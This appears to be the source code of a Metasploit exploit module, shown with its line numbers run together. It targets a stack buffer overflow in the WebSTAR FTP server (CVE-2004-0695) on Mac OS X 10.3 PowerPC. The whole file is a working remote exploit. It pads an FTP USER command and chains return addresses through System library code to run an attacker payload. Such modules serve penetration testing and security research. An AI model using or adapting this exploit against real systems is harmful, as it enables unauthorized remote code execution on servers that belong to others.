Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/osx/ftp/webstar_ftp_user.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Ftp910def initialize(info = {})11super(update_info(info,12'Name' => 'WebSTAR FTP Server USER Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in the logging routine15of the WebSTAR FTP server. Reliable code execution is16obtained by a series of hops through the System library.17},18'Author' => [ 'ddz', 'hdm' ],19'License' => MSF_LICENSE,20'References' =>21[22[ 'CVE', '2004-0695'],23[ 'OSVDB', '7794'],24[ 'BID', '10720'],2526],27'Privileged' => true,28'Payload' =>29{30'Space' => 300,31'BadChars' => "\x00\x20\x0a\x0d",32'Compat' =>33{34'ConnectionType' => "+find"35},36},37'Platform' => %w{ osx },38'Targets' =>39[40[41'Mac OS X 10.3.4-10.3.6',42{43'Platform' => 'osx',44'Arch' => ARCH_PPC,45'Rets' => [ 0x9008dce0, 0x90034d60, 0x900ca6d8, 0x90023590 ],46},47],48],49'DisclosureDate' => '2004-07-13',50'DefaultTarget' => 0))5152register_options(53[54OptString.new('MHOST', [ false, "Our IP address or hostname as the target resolves it" ]),55], self)56end5758# crazy dino 5-hop foo59#$ret = pack('N', 0x9008dce0); # call $r28, jump r1+12060#$r28 = pack('N', 0x90034d60); # getgid()61#$ptr = pack('N', 0x900ca6d8); # r3 = r1 + 64, call $r3062#$r30 = pack('N', 0x90023590); # call $r36364def exploit65connect6667# The offset to the return address is dependent on the length of our hostname68# as the target system resolves it ( IP or reverse DNS ).69mhost = datastore['MHOST'] || Rex::Socket.source_address(datastore['RHOST'])70basel = 285 - mhost.length7172print_status("Trying target #{target.name}...")7374# ret = 29675# r25 = 26076# r26 = 26477# r27 = 26878# r28 = 27279# r29 = 27680# r30 = 28081# r31 = 2848283# r1+120 = 4088485buf = rand_text_alphanumeric(basel + 136 + 56, payload_badchars)86buf[basel + 24, 4] = [ target['Rets'][0] ].pack('N') # call $r28, jump r1+12087buf[basel , 4] = [ target['Rets'][1] ].pack('N') # getgid()88buf[basel + 136, 4] = [ target['Rets'][2] ].pack('N') # (r1+120) => r3 = r1 + 64, call $r3089buf[basel + 120, 4] = [ target['Rets'][3] ].pack('N') # call $r390buf << payload.encoded9192send_cmd( ['USER', buf] , true )93send_cmd( ['HELP'] , true )9495handler96disconnect97end98end99100101